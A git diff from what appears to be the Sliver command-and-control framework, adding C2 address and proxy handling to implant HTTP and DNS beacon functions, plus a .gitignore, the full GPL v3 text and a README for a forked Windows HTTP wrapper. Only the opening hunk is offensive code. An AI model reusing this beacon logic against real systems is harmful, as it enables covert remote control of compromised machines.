@@ -317,9 +303,11 @@ func httpBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
var client *httpclient.SliverHTTPClient
|
||||
var err error
|
||||
opts := httpclient.ParseHTTPOptions(uri)
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
ProxyURL: opts.ProxyConfig,
|
||||
Init: func() error {
|
||||
opts := httpclient.ParseHTTPOptions(uri)
|
||||
client, err = httpclient.HTTPStartSession(uri.Host, uri.Path, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -356,6 +344,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
var client *dnsclient.SliverDNSClient
|
||||
var err error
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
opts := dnsclient.ParseDNSOptions(uri)
|
||||
client, err = dnsclient.DNSStartSession(uri.Host, opts)
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
*.profile
|
||||
*.test
|
||||
build
|
||||
cmd/*
|
||||
local
|
||||
tags
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||
@@ -0,0 +1,117 @@
|
||||
# Forked from https://gitlab.com/mjwhitta/win/
|
||||
|
||||
#### Changes
|
||||
|
||||
* Removed custom errors package
|
||||
* Removed custom pathname package
|
||||
* Refactored names to be consistent with the rest of the Sliver code base
|
||||
* Merged client `http` sub-packages with `winhttp` and `wininet`
|
||||
|
||||
# Win
|
||||
|
||||
<a href="https://www.buymeacoffee.com/mjwhitta">🍪 Buy me a cookie</a>
|
||||
|
||||
[](https://goreportcard.com/report/gitlab.com/mjwhitta/win)
|
||||
|
||||
## What is this?
|
||||
|
||||
This Go module wraps WinHTTP and WinINet functions and includes HTTP
|
||||
clients that use those functions to make HTTP requests. Hopefully,
|
||||
this makes it easier to make HTTP requests in Go on Windows. WinHTTP
|
||||
(and theoretically WinINet) can even handle NTLM authentication
|
||||
automatically for you.
|
||||
|
||||
Microsoft recommends [WinINet over WinHTTP] unless you're writing a
|
||||
Windows service.
|
||||
|
